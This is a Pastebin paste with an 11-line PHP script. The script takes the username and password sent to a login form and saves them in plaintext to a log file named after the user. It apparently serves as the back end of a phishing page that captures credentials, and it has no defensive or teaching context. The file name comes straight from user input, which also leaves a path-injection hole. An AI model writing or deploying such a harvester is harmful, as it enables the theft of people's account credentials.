Advertisement
Guest User

Untitled

a guest
Jul 20th, 2016
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.31 KB | None | 0 0
  1. <?php
  2. $dir = "/";
  3. $username = $_POST['username'];
  4. $password = $_POST['password'];
  5. $title = $username;
  6. $content = "Username: ".$username ."\r\nPassword: ".$password;
  7. $filename = $dir.$title.".log";
  8. $handle = fopen($filename, "w");
  9. fwrite($handle, $content);
  10. fclose($handle);
  11. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement